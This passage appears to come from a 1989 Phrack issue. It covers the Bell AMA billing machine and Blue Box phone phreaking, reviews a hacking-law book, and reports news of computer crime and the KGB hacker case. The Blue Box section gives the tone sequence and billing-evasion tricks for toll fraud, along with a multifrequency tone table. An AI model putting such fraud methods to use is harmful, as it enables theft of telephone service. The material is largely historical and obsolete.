The secrecy surrounding the AMA machine was so pervasive that local, state, and even federal police were told that local calls made by criminals were untraceable, and that people who made obscene telephone calls could not be tracked down unless the person receiving the call could keep the caller on the line for some 30 to 50 minutes so the connections could be physically traced by technicians. Imagine asking a woman or child to put up with almost an hour's worth of the most horrendous obscenities in the hope someone could trace the line. Yet in areas where the AMA machine had replaced the meters, it would have been a simple, though perhaps time‑consuming task, to track down the numbers called by any telephone during a 24 hour period. But Ma Bell wanted the AMA machine kept as secret as possible, and so many a criminal was not caught, and many a woman was harassed by the obscene calls of a potential rapist, because existence of the AMA machine was denied.

As a sidelight as to the secrecy surrounding the AMA machine, someone at Ma Bell or the local operating company decided to put the squeeze on the author of the article on Blue Boxes, and reported to the Treasury Department that he was, in fact, manufacturing them for organized crime ‑‑ the going rate in the mid 1960's was supposedly $20,000 a box. (Perhaps Ma Bell figured the author would get the obvious message: Forget about the Blue Box and the AMA machine or you'll spend lots of time, and much money on lawyer's fees to get out of the hassles it will cause.) The author was suddenly visited at his place of employment by a Treasury agent.

Fortunately, it took just a few minutes to convince the agent that the author was really just that, and not a technical wizard working for the mob. But one conversation led to another, and the Treasury agent was astounded to learn about the AMA machine. (Wow! Can an author whose story is squelched spill his guts.) According to the Treasury agent, his department had been told that it was impossible to get a record of local calls made by gangsters: The Treasury department had never been informed of the existence of automatic message accounting. Needless to say, the agent left with his own copy of the Bell System publication about the AMA machine, and the author had an appointment with the local Treasury‑Bureau director to fill him in on the AMA machine. That information eventually ended up with Senator Dodd, who was conducting a congressional investigation into, among other things, telephone company surveillance of subscriber lines ‑‑ which was a common practice for which there was detailed instructions, Ma Bell's own switching equipment ("crossbar") manual.

The Blue Box

~~~~~~~~~~~~

The Blue Box permitted free telephone calls because it used Ma Bell's own internal frequency‑sensitive circuits. When direct long‑distance dialing was introduced, the crossbar equipment knew a long‑distance call was being dialed by the three‑digit area code. The crossbar then converted the dial pulses to the CCITT tone groups, shown in the attached table (at the end of this file), that are used for international and trunkline signaling. (Note that those do not correspond to Touch‑Tone frequencies.) As you will see in that table, the tone groups represent more than just numbers; among other things there are tone groups identified as 2600 hertz, KP (prime), and ST (start) ‑‑ keep them in mind.

When a subscriber dialed an area code and a telephone number on a rotary‑dial telephone, the crossbar automatically connected the subscriber's telephone to a long‑distance trunk, converted the dial pulses to CCITT tones, set up electronic cross‑country signaling equipment, and recorded the originating number and the called number on the AMA machine. The CCITT tones sent out on the long‑distance trunk lines activated special equipment that set up or selected the routing and caused electro‑mechanical equipment in the target city to dial the called telephone.

Operator‑assisted long‑distance calls worked the same way. The operator simply logged into a long‑distance trunk and pushed the appropriate buttons, which generated the same tones as direct‑dial equipment. The button sequence was 2600 hertz, KP (which activated the long‑distance equipment), then the complete area code and telephone number. At the target city, the connection was made to the called number but ringing did not occur until the operator there pressed the ST button.

The sequence of events of early Blue Boxes went like this: The caller dialed information in a distant city, which caused his AMA machine to record a free call to information. When the information operator answered, he pressed the 2600 hertz key on the Blue Box, which disconnected the operator and gave him access to a long‑distance trunk. He then dialed KP and the desired number and ended with an ST, which caused the target phone to ring. For as long as the conversation took place, the AMA machine indicated a free call to an information operator. The technique required a long‑distance information operator because the local operator, not being on a long distance trunk, was accessed through local wire switching, not the CCITT tones.

Call Anywhere

~~~~~~~~~~~~~

Now imagine the possibilities. Assume the Blue Box user was in Philadelphia. He would call Chicago information, disconnect from the operator with a KP tone, and then dial anywhere that was on direct‑dial service: Los Angeles, Dallas, or anywhere in the world if the Blue Boxer could get the international codes.

The legend is often told of one Blue Boxer who, in the 1960's, lived in New York and had a girl friend at a college near Boston. Now back in the 1960's, making a telephone call to a college town on the weekend was even more difficult than it is today to make a call from New York to Florida on a reduced‑rate holiday using one of the cut‑rate long‑distance carriers. So our Blue Boxer got on an international operator's circuit to Rome, Blue Boxed through to a Hamburg operator, and asked Hamburg to patch through to Boston. The Hamburg operator thought the call originated in Rome and inquired as to the "operator's" good English, to which the Blue Boxer replied that he was an expatriate hired to handle calls by American tourists back to their homeland. Every weekend, while the Northeast was strangled by reduced‑rate long‑distance calls, our Blue Boxer had no trouble sending his voice almost 7,000 miles for free.

...The user placed the speaker over the telephone handset's transmitter and simply pressed the buttons that corresponded to the desired CCITT tones. It was just that simple.

Actually, it was even easier than it reads because Blue Boxers discovered they did not need the operator. If they dialed an active telephone located in certain nearby, but different, area codes, they could Blue Box just as if they had Blue Boxed through an information operator's circuit. The subscriber whose line was Blue Boxed simply found his phone was dead when it was picked up. But if the Blue Box conversation was short, the "dead" phone suddenly came to life the next time it was picked up. Using a list of "distant" numbers, a Blue Boxer would never hassle anyone enough times to make them complain to the telephone company.

The difference between Blue Boxing off of a subscriber rather than an information operator was that the AMA tape indicated a real long‑distance telephone call perhaps costing 15 or 25 cents ‑‑ instead of a freebie. Of course that is the reason why when Ma Bell finally decided to go public with "assisted" newspaper articles about the Blue Box users they had apprehended, it was usually about some college kid or "phone phreak." One never read of a mobster being caught. Greed and stupidity were the reasons why the kid's were caught.

It was the transistor that led to Ma Bell going public with the Blue Box. By using transistors and RC phase‑shift networks for the oscillators, a portable Blue Box could be made inexpensively, and small enough to be used unobtrusively from a public telephone. The college crowd in many technical schools went crazy with the portable Blue Box; they could call the folks back home, their friends, or get a free network (the Alberta and Carolina connections ‑‑ which could be a topic for a whole separate file) and never pay a dime to Ma Bell.

Unlike the mobsters who were willing to pay a small long‑distance charge when Blue Boxing, the kids wanted it, wanted it all free, and so they used the information operator routing, and would often talk "free‑of‑charge" for hours on end.

Ma Bell finally realized that Blue Boxing was costing them Big Bucks, and decided a few articles on the criminal penalties might scare the Blue Boxers enough to cease and desist. But who did Ma Bell catch? The college kids and the greedies. When Ma Bell decided to catch the Blue Boxers she simply examined the AMA tapes for calls to an information operator that were excessively long. No one talked to an operator for 5, 10, 30 minutes, or several hours. Once a long call to an operator appeared several times on an AMA tape, Ma Bell simply monitored the line and the Blue Boxer was caught. (Now you should understand why I opened with an explanation of the AMA machine.) If the Blue Boxer worked from a telephone booth, Ma Bell simply monitored the booth. Ma Bell might not have known who originated the call, but she did know who got the call and getting that party to spill their guts was no problem.

The mob and a few Blue Box hobbyists (maybe even thousands) knew of the AMA machine, and so they used a real telephone number for the KP skip. Their AMA tapes looked perfectly legitimate. Even if Ma Bell had told the authorities they could provide a list of direct‑dialed calls made by local mobsters, the AMA tapes would never show who was called through a Blue Box. For example, if a bookmaker in New York wanted to lay off some action in Chicago, he could make a legitimate call to a phone in New Jersey and then Blue Box to Chicago. His AMA tape would show a call to New Jersey. Nowhere would there be a record of the call to Chicago. Of course, automatic tone monitoring, computerized billing, and ESS (Electronic Switching System) now makes that virtually impossible, but that's the way it was.

You might wonder how Ma Bell discovered the tricks of Blue Boxers. Simple, they hired the perpetrators as consultants. While the initial newspaper articles detailed a potential jail penalties for apprehended blue boxers, except for Ma Bell employees who assisted a blue boxer, it is almost impossible to find an article on the resolution of the cases because most hobbyist blue boxers got suspended sentences and/or probation if they assisted Ma Bell in developing anti‑blue box techniques. It is asserted, although it can't be easily proven, that cooperating ex‑blue boxers were paid as consultants. (If you can't beat them, hire them to work for you.)

Should you get any ideas about Blue Boxing, keep in mind that modern switching equipment has the capacity to recognize unauthorized tones. It's the reason why a local office can leave their subscriber Touch‑Tone circuits active, almost inviting you to use the Touch‑Tone service. A few days after you use an unauthorized Touch‑Tone service, the business office will call and inquire whether you'd like to pay for the service or have it disconnected. The very same central‑office equipment that knows you're using Touch‑Tone frequencies knows if your line is originating CCITT signals

The Black Box

~~~~~~~~~~~~~

The Black Box was primarily used by the college crowd to avoid charges when frequent calls were made between two particular locations, say the college and a student's home. Unlike the somewhat complex circuitry of a Blue Box, a Black Box was nothing more than a capacitor, a momentary switch, and a battery.

As you recall from our discussion of the Blue Box, a telephone circuit is really established before the target phone ever rings, and the circuit is capable of carrying an AC signal in either direction. When the caller hears the ringing in his or her handset, nothing is happening at the receiving end because the ringing signal he hears is really a tone generator at his local telephone office. The target (called) telephone actually gets its 20 pulses‑per‑second ringing voltage when the person who dialed hears nothing in the "dead" spaces between hearing the ringing tone. When the called phone is answered and taken off hook, the telephone completes a local‑office DC loop that is the signal to stop the ringing voltage. About three seconds later the DC loop results in a signal being sent all the way back to the caller's AMA machine that the called telephone was answered.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

CCITT NUMERICAL CODE

~~~~~~~~~~~~

Digit Frequencies (Hz)

1 700+900

2 700+1100

3 900+1100

4 700+1300

5 900+1300

6 1100+1300

7 700+1500

8 900+1500

9 1100+1500

0 1300+1500

Code 11 700+1700 for inward

Code 12 900+1700 operators

KP 1100+1700 Prime (Start of pulsing)

KP2 1300+1700 Transit traffic

ST 1500+1700 Start (End of pulsing)

Hacking

==Phrack Inc.==

Volume Three, Issue 25, File 8 of 11

/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*

\*/

/*\ Hacking: What's Legal And What's Not /*\

\*/ Written by Xandor SymmLeo Xet \*/

/*\ With Technical Assistance From The ICH /*\

\*/

/*\ Reviewed by HATCHET MOLLY (TK0GRM1@NIU.BITNET) /*\

\*/ Exclusively for Phrack Inc. \*/

/*\

\*/ March 8, 1989 \*/

/*\

\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*

"Hacking: What's Legal And What's Not" was originally published in 1987 by "HackTel Communications" of Crosby, Texas. Reportedly the book is no longer being published as the author, Xandor SymmLeo Xet, has joined the United States Army. E. Arthur Brown of Minnesota has bought out the remaining stock and is selling it for $12.95 (plus postage and handling) which is about half off it's "cover price" of $25.00.

We've always been taught not to judge a book by its' cover, and I suppose that one should not expect beautiful binding and great illustrations in self‑published books, especially those that deal with hacking and phreaking. But I can't help comment on the sheer ugliness of this volume. To be fair, I should preface these remarks by saying that E. Arthur Brown Company does give fair warning about the packaging of this book in their advertisement.

The "book" consist of about 300 photocopied reproductions of non‑NLQ dot matrix pages. However, this does not mean you get three hundred pages of information as about half of the pages are single sided copies. All in all I'd say it could be reduced to about 200 pages if everything was copied back to back. These pages come in a nice three ring binder, black in color, and it even has the name of the book silk screened on the cover. (I can't resist mentioning that the title of the book is improperly punctuated on the cover, though it is correct inside the manuscript.)

Presumably the author(s) intended to release follow up reports and addendum to the book at later dates (and at additional cost). So the three‑ring binder approach makes sense, and the author does explain that he has used single sided copies in some places to allow for easy insertation of these "Hacker Reports." So perhaps criticisms of the books packaging are a little unfair since it appears these concessions were made with a purpose in mind. This does not, however, change what you do indeed get when you order this book. All potential buyers should be aware of what they are getting for their money.

Enough of what the book looks like, let's examine what it has to offer. Generally speaking, it is a cross between a "how to" and a legal reference guide. Much of the book is dedicated to state and federal laws that deal with hacking, phreaking, and pirating. You'll find reprints of the state computer crime laws for every state of the union, (current at the time the book was written) and the Federal wire fraud and copyright laws. It does not include the Federal Electronic Communication Privacy Act (ECPA) perhaps because act was not passed at the time the book was compiled. The sections on state laws appear complete enough, and the full source and appropriate references are given if you want to check them for accuracy or changes. Thoughtfully, the author has even included the associated penalties each statute carries. And for those of you who aren't quite up on your Latin, there is even a (very) short legal glossary so you can better understand the language of the law.

The crime laws make up the bulk of the book. They are probably the most useful section despite the fact that the information is at least three years old by now. The rest of the book is dedicated to various topics that are mundane to anyone that is an active practitioner of phreaking and/or hacking. Topics like "what is a network" and "how does a war dialer work" really do little for the accomplished hacker, and the public can get the same information in the better written book by Bill Landreth.

One point that interested me is that Xet adheres more to the "computer professional" definition of "hacker" than he does to the definition used by most of the underground. In other words, he maintains that people who gain unauthorized access to systems are "crackers," not "hackers." He, like many phreak/hackers, gets upset when the media uses the term incorrectly, but his reasoning is a little different from most. Interestingly enough, despite an entire chapter on software piracy, Xet does not realize that "cracker" already refers to a specific type of activity and suggesting it as an alternative to "hacker" only serves to further muddy the waters. To some this may be a minor point, but the indiscriminate and apparently uninformed use of terms and labels is ill advised in a book that aspires to be a useful reference manual.

By way of illustration, I've excerpted his definitions (actually, they should properly be called "descriptions") of various terms from the glossary:

Hacker: A non‑business computer user who operates a computer in conjunction with a modem and who at least knows his (or her) way around a local bulletin board and has at least heard of CompuServe and The Source. Can usually be found eating pizza or donuts, and has a working knowledge of the effects of long term exposure to great amounts of caffeine either from drinking several softdrinks (sic) or numerous cups of coffee.

Cracker: A hacker who has an adventurous streak which leads him into unknown computer menus and strange protocols of all benign. He has the ability to crack access codes or passwords in order to illegally enter a computer over the telephone. Usually a very good problem solver, quick to think, cautious to act. Often thought of as clever or even sneaky. Excellent chess players.

Chrasher: A cracker gone bad. One who gets his jollies from terminating corporate systems and picking on helpless bulletin boards by destroying information or files or by rendering a system unable to communicate (usually referred to as "crashing" the system) until reset by a sysop. Very clever, extremely dangerous. Smart, but hopelessly misdirected. They deserve respect for their ability to destroy.

Pirate: Software pirate. A hacker who concentrates his efforts toward cracking software copyright protection schemes which are placed on computer disks to prevent the illegal copying of factory produced programs. Some pirates have a habit of collecting software that they have managed to crack either to trade with other pirates for software they don't have yet or just to collect it for the sake of building their egos. Some of my best friends are pirates. Usually, very easy going people, and sometimes politically minded as well. And even more clever than crackers or crashers.

The problem with these definitions is that they are not mutually exclusive and do little but reinforce the stereotypes that hackers, phreakers, and pirates already face. Any phreak/hacker that reads this book will give these definitions little attention, if they read them at all, but if this manual is used by the media as an "example of hacker literature" it will only further perpetuate some of these assumptions.

A large amount of the book is dedicated to what Xet calls The Gray Pages. Labeled as a "national hackers' phone book" it is primarily a list of dialups for Telenet, Tymnet, Compuserve, and The Source. This list is hardly "secret" and the format hints that it may just be a capture of the "info" pages from each of these networks. These numbers may be helpful to the beginner, but it would have been better if he included instructions on how to dial the toll free access number (or call customer service and just ask them) and check for your local number by yourself. Not only would this have cut down on the number of pages needed, but it would have at least given the beginner an excuse to actually do something themselves. (Not to mention that is the best way to get the most accurate information.)

The rest of "The Gray Pages" is taken up by a list of 400 public BBS systems. Although the list is titled "hacker bulletin boards" many of the systems listed are quite legitimate and do not support phreak/hack or pirate activities. Woe to the beginner who calls CLAUG and starts asking for plans to a blue box. Of course the biggest draw back to this list is that it was probably fifty percent out of date four months after it was printed.

Speaking of blue box plans, Xet does offer a short list of box colors and what they do. No plans for boxes are included, nor is there a discussion of DTMF tones or other common phreak knowledge. He does include simple schematics and operating instructions for a tap indicator, wire recorder, and a data converter (for use with the wire recorder). The introduction to this section, called "gray market equipment" says that future editions of the book will include box schematics.

Finally, there is a short section called "helpful stuff" written by "The ICH." This section is pretty informative but offers little clarifying information. Basically it includes an ASCII table, DTMF frequencies, satellite and cellular frequencies, and a short discussion of packet switching networks.

In summary, "Hacking: What's Legal And What's Not" offers some very basic information to the beginning hacker, a quite good (although potentially outdated) review of relevant state and federal computer crime laws, and a few tid‑bits here and there that are worth knowing. But it also wastes a lot of space to bulletin boards and dialup numbers that are of little use to anyone. Experienced phreak/hackers and pirates will find a few articles that are not available elsewhere (like the section on "How Hackers Think" where Xet says that since a San Diego BBS poll indicated that 79% of "hackers" had the astrological sign of Leo all one has to do to understand hackers is read a profile of Leo's!) but the vast majority of the information is old news in a new format.

For someone who wants to get a broad overview of the computer underground I can recommend this book. But if someone is looking for information of any real use, I suggest you contact your local phreak/hack BBS and use the G‑philes they have available. You won't be missing anything this book has to offer. E. Arthur Brown's price of $12.95 offers a reasonable value, and if your looking to develop a "hacker library" you might consider ordering a copy.

Phrack World News XXV/Part 1

==Phrack Inc.==

Volume Three, Issue 25, File 9 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXV/Part 1 PWN

PWN PWN

PWN March 29, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Standing On The Edge Of The Network

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetings once again and welcome to Phrack World News Issue 25, our 25th Anniversary Special.

This issue features articles about the New TAP Magazine, a battle between Southwestern Bell and bulletin board operators in Oklahoma City, a whole file's worth of information about the KGB hackers, Matthias Speer, Klaus Brunnstein, an interview with Pengo, and much more.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Suiting Up For SummerCon '89 March 22, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Once again, for those who may have missed last issue...

SummerCon '89

Saint Louis, Missouri

June 23‑25, 1989

Brought To You By

Forest Ranger / Knight Lightning / Taran King

The agenda for this year's SummerCon is going to be a sort of mixture of the first two. We do intend to hold an actual conference on Saturday, June 24, 1989. This conference will last as long as necessary and anyone who wishes to speak should prepare a presentation ahead of time and notify us as soon as possible.

The location of SummerCon '89 has been decided upon, but reservations are still in the progress of being made. For this reason, we have declined to print the name of the hotel for the convention at this time. Anyone who is seriously interested in going to SummerCon '89 and thinks that they will be able to attend should contact Taran King or myself as soon as possible.

:Knight Lightning

________________________________________

Mitnick Plea Bargains March 16, 1989

~~~~~~~~~~~~~~~~~~~~~

By Kim Murphy (Los Angeles Times [Excerpts Only])

Kevin Mitnick pleaded guilty to one count of computer fraud and one count of possessing unauthorized long‑distance telephone codes. He admitted penetrating a DEC computer in Mass., secretly obtaining a copy of a sophisticated computer security program which the company had spent $1 million to develop.

The program, said Mitnick's attorney, was designed to alert companies when their computers had been penetrated by hackers like Mitnick. Mitnick never attempted to sell or distribute the program, he said. Mitnick also admitted possessing 16 unauthorized MCI long‑distance codes that enabled him to make long‑distance telephone calls without charge. A prosecutor said Mitnick used the codes to make connections to computers.

Mitnick faces one year in prison. Under a plea agreement with the government, he must also submit to three years' supervision by probation officers after his release from prison. Prosecutors said they agreed to a 12‑month sentence because the amount of financial damage was relatively low. DEC lost about $100,000 to $200,000 in computer "down time" investigating the security program theft.

As part of the plea agreement, prosecutors agreed to dismiss two additional counts charging Mitnick with illegally accessing the Leeds University computer in England and separate charge related to the DEC computer program.

________________________________________

The NEW Technological Advancement Party (TAP) March 11, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Aristotle and the TAP Magazine Staff

How TAP Will Be Printed

TAP will be created, edited, and printed on various machines that the staff either owns or has full access to. The computers range from personal computers to mainframes.

The printing devices range from dot‑matrix printers to industrial laser printers. Again, the staff has full access to all of these devices. In order to upgrade the quality of print and to take some of the load off of the staff, the staff is looking into getting TAP printed by a professional printer.

Funding Of TAP

Hopefully TAP will be funded majorly by the subscribers. Unlike TAP in it's early years, we cannot afford to just give TAP away. Except for issue 92, we will not GIVE TAP away for free. We feel the policy of the old TAP towards this issue was the major cause of their cronic shortage of money. As far as startup costs, the staff can support all costs except for Printing, Paper, and Postage. For 1.00 an issue, we feel we should be able to sufficiently support TAP from the subscribers fees. All money received will be put into an account that will be used for TAP purposes ONLY. There will be no distributing of wealth between the staff. The three expenses above will be the major areas of spending with an occasional expense of advertising and such.

How TAP Will Be Getting Articles

As of right now, the staff has enough articles ready to be printed to support TAP for at least 4 issues. We hope TAP will become dependant on articles submitted by subscribers. If people do not submit articles to TAP, we will be forced to fill up space with lesser articles (thus lessening the quality of TAP.) We figure that at the worst, TAP can sustain itself for one year with NO submitted articles. That way we will not be ripping anyone off and we can fade away in peace. (Hopefully we won't have to do that!)

Who is involved with TAP

As of 03/07/89, the TAP staff consists of five people. These 'staffers' are: Aristotle, Olorin The White, Predat0r, and two others that wish to remain anonymous. The last two have elected to remain anonymous for various reasons, one being to maintain their freedom. The staff does not feel that we need to list names in TAP (yet) to give the newsletter a good reputation. We feel that readers should subscribe to TAP because of the quality of the newsletter and not because of the staff members. Of course, if you submit an article, you will be given credit where it is due. Credit to the author of any article we print will be given unless the author expresses wishes that he/she does not want to be recognized. Of course if TAP cannot find the name of the author of a specific article, we cannot print the credits.

Why We Decided To Print A Newsletter

After gathering information from bulletin boards and other sources, various members of the staff decided that they would like to print hard to obtain information in hardcopy form and an easy to understand format. We feel that certain information cannot be successfully represented and distributed with computers only. One excellent example is a schematic of any device. We all know how bad ASCII schematics suck. And with practically everyone in the community owning a different computer, how can we communicate efficiently? Well, printed material (on paper) is our answer.

In addition to the advantage print has over text files, there are various other reasons for our wanting to print a newsletter. Due to the lack of experts wanting to teach newcomers to the community (excluding certain individuals), we have decided to do something about it. TAP will attempt to explain information so that EVERYONE can understand it. We will not hesitate to help any beginners, nor hesitate to give information to the more experienced members of the community. All members of the community will be supported by TAP. TAP is an equal opportunity informer.

Why We Decided To Print TAP

When we first received our collection of TAP issues (along with some 2600's), we were astounded. After learning from bbs's and voice calls, the value of TAP and 2600 were obvious. We liked 2600 a lot, but we LOVED TAP. TAP fit our personalities perfectly. It has something for everyone. Around that time, we promptly looked into subscribing to the two magazines. As you know, TAP died in 1984 and 2600 is still in print. Well, we subscribed to 2600 and kept on studying our old TAP issues. When the suggestion came to put out a magazine, the first idea that was suggested was TAP. It was decided after a LONG discussion that TAP would be perfect for our newsletter. Since we are interested in hacking, phreaking, AND other topics, we felt TAP better expressed our opinions and ideas than any other newsletter idea. Hell, we just straight up loved that old TAP and we cannot pass up the opportunity to bring it back into existence and (hopefully) it's original glory.

Where To Find TAP

If you have any other questions regarding TAP, you can contact the staff via snail mail (US postal service) or via staff accounts on the bulletin boards listed below.

US Mailing Address: TAP

P.O. Box 20264

Louisville, KY 40220

Beehive BBS ‑ 703‑823‑6591

Hackers Den ‑ 718‑358‑9209

Ripco ‑ 312‑528‑5020

Thank you, Tap Staff

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Editor's Comments

~~~~~~~~~~~~~~~~~

Upon first hearing about the newly formed TAP Magazine, I scoffed and thought it would be another pipe dream like many other countless previous attempts. To my surprise, the magazine was delivered just like they promised.

Issue 92 contained the following:

TAP RAP ‑ Basically the staff's remarks about the new magazine and the subscription information.

A BIT on BITNET (An Introduction to BITNET) ‑ This was a reprint of Aristotle's Bitnet file that appeared in P/HUN Newsletter Issue 3.

BELL PAYS for Evil deeds ‑ News article about Cincinnati Bell Telephone Co.

TMC PIN ‑ Information about PIN codes of TeleMarketing Company.

Pyro‑How To ‑ How to make Nitrogen Tri‑Iodide.

Miscellaneous catalog information for Loompanics Unlimited and Specialized Products Company.

Big Brother section ‑ An article about revenge tactics and social engineering taken from Flagship News (employee publication of American Airlines). The article was also previously seen in RISKS Digest.

TELEPHONE CONTROLLED TAPE STARTER + Schematics

The infamous "Ma Bell Is A Cheap Mother" logo and a few other surprises are also included in this issue. The last part of the newsletter lists information that the TAP Staff is looking for.

My reaction to the issue was positive over all. The print quality was very good and extremely readable. The issue itself was a bit crumpled up by the US Postal Service, but that is to be expected. The first issue was a test product and that is the reason for a little bit of un‑original material, says Aristotle.

It is my understanding that the future holds all sorts of neat articles and overall it would appear that at $12.00 a year, the new TAP is a good investment.

:Knight Lightning

________________________________________

Two Men Seized As Phone Looters March 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Two phony repairmen wearing stolen Illinois Bell hardhats and carrying around stolen repairman tools have demonstrated that ripping off payphones is not small change.

Arrested in Chicago, Illinois last week were George W. Parratt, age 47, of Sauk Village, IL and Arthur P. Hopkinson, age 40, of Hickory Hills, IL; two south suburbs of Chicago.

The two men, posing as Illinois Bell repairmen and driving a white and blue van disguised to look like an Illinois Bell truck, have stolen thousands of dollars from pay telephones all over Chicago. Their average take was about $200 per phone ‑‑ and they have hit some phones two or three times.

Just the cost of repairing the phones damaged in the past year cost more than $50,000 said Illinois Bell Telephone spokesman Tony Abel.

These two fellows were making a full time living looting pay phones, although Mr. Abel did not have the final total of the amount looted immediately available when we discussed the case.

Abel said Illinois Bell employees spotted the phony van on two separate days and notified the security department of Bell. Security representatives were able to trace the license plate on the van, and they found it parked in Parratt's driveway. The investigators secretly followed the van and watched Parratt and Hopkinson loot two pay phones in Calumet City, Illinois, and two in Hammond, Indiana; a community on the stateline served by Illinois Bell.

When the two men drove back across the stateline into Calumet City, and started breaking into another payphone, the investigators arrested them. Cook County sheriff's Lt. Thomas Oulette, called to the scene, said the two had $120 in change and $650 in stolen tools from Illinois Bell at the time of their arrest. He said they were able to break into a coin box, dump it and get away in less than three minutes.

"It was a pretty good scam," said Oulette, who noted that the investigators from Illinois Bell told him they believed the company had been hit by the pair for about $35,000 in the nine months the company was specifically aware of them without knowing who they were.

Parratt and Hopkinson were released on bond, and are scheduled to appear in Circuit Court (Markham, Illinois branch) on April 17, 1989.

Information Provided by Patrick Townson

________________________________________

Bank Fraud Was "Easy" February 24, 1989

~~~~~~~~~~~~~~~~~~~~~

>From The Independent (London)

"A 17‑year‑old junior cashier cheated the National Westminster Bank out of 1 million pounds in a computer fraud," a court heard yesterday.

Judge Helen Palin criticized the bank for lax security and refused to make a compensation order for 15,000 pounds which the bank has not been able to recover.

After being given access to the bank's computer system he began by paying 10 pounds into his own account. He then paid himself 12,000 in imaginary cheques. Later, he transferred a credit for 984,252 pounds into the account of a friend and celebrated by buying 50 bottles of champagne.

The judge said, "One of the worrying features of this case is that a young man who hasn't long left school is able to work the system in the NatWest bank on a number of occasions without being found out. Indeed, the general chat within the bank seems to be how easy it is to defraud that bank."

________________________________________

Two Men Accused Of "Hacker" Crime February 24, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By James Gribble (Milwaukee Journal)

Vowing to step up efforts to stop computer crime, a Milwaukee County prosecutor has charged two Milwaukee men with fraudulently obtaining free long‑distance telephone service.

The felony charges filed Thursday against Alan Carr, age 35 and David Kelsey, age 26 are the first so‑called hacker crimes to be prosecuted by the district attorney's office.

Working independently, using home computers and similar software programs, the men are alleged to have obtained calling card codes for customers of an independent long‑distance telephone company, Schneider Communications.

They then used the codes to bill their personal calls to Schneider's customers, according to a criminal complaint prepared by Assistant District Attorney Jon N. Reddin, head of the district attorney's White Collar Crime Unit.

Reddin said the total theft probably was less than $1,000, but he said the case reflected a growing problem.

"I have the feeling, from our investigation, that there's a lot of people out there doing this," he said. "The only way to stop it is to prosecute them, because this is theft. It's almost like some one stealing your credit card and using it to make purchases."

Schneider Communications was the victim in this case, Reddin said, because the company had to write off the customer billings for which Carr and Kelsey turned out to be responsible.

According to court records and Reddin, the investigation was prompted by a complaint from Schneider Communications.

The company's computer keeps track of all calls that are rejected because of an improper access code. Clients dialing incorrectly would cause 10 to 30 rejected calls a month, but sometime last year the number jumped to 1,000 or 2,000 per month.

Computer printouts showed the unknown parties were repeatedly dialing the computer and changing the access code sequentially, Reddin said. Hundreds of calls at a time were being made in this fashion, and each time the code was changed one digit at a time until a working code was encountered.

Because the company had no way of knowing where the calls were coming from, Wisconsin Bell placed a tracing device on the line, through which the calls were traced to the phone numbers of Carr and Kelsey.

The men were apparently unaware of each other and simply happened to be involved in similar schemes, Reddin said.

Carr is alleged to have used a bootleg computer program called "Hacking Construction Set Documentation." Kelsey is alleged to have used a similar bootleg program called "Mickey‑Dialer." The programs were seized in raids at the defendant's houses, according to court records.

Reddin acknowledged that technological safeguards can detect such thefts after the fact but not prevent them. What Carr and Kelsey are alleged to have done can be done by any computer buff with the right software and know‑how, Reddin said.

The key to deterring computer crime, in Reddin's view, lies in it's prompt reporting to authorities.

"The best way I can think of to do that is by filing a complaint with our office," Reddin said.

Phrack World News XXV/Part 2

==Phrack Inc.==

Volume Three, Issue 25, File 10 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXV/Part 2 PWN

PWN PWN

PWN March 29, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

German Hackers Break Into Los Alamos and NASA March 2, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Three hours ago, a famous German TV‑magazine revealed maybe one of the greatest scandals of espionage in computer networks: They talk about some (three to five) West German hackers breaking into several secret data networks (Los Alamos, Nasa, some military databases, (Japanese) war industry, and many others) in the interests of the KGB, USSR. They received sums of $50,000 to $100,000 and even drugs, all from the KGB, the head of the political television‑magazine said.

The following news articles (and there are a lot) all deal with (directly and indirectly) the recent Spy scandal situation that occurred in West Germany. The majority of the articles shown here are taken from RISKS Digest, but they have been edited for this presentation.

This presentation contains some information not previously seen (at least not in this format).

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Espionage: Three "Wily Hackers" Arrested March 2, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Three hackers have been arrested in Berlin, Hamburg and Hannover, and they are accused of computer espionage for the Soviet KGB. According to the television magazine "Panorama" (whose journalists have first published the NASA and SPAN hacks), they intruded scientific, military and industry computers and gave passwords, access mechanisms, programs and data to 2 KGB officers; among others, intrusion is reported of the NASA headquarters, the Los Alamos and Fermilab computers, the United States Chief of Staff's data bank OPTIMIS, and several more army computers. In Europe, computers of the French‑Italian arms manufacturer Thomson, the European Space Agency ESA, the Max Planck Institute for Nuclear Physics in Heidelberg, CERN/GENEVA and the German Electron Accelerator DESY/Hamburg are mentioned. The report says that they earned several 100,000 DM plus drugs (one hacker evidently was drug addict) over about 3 years.

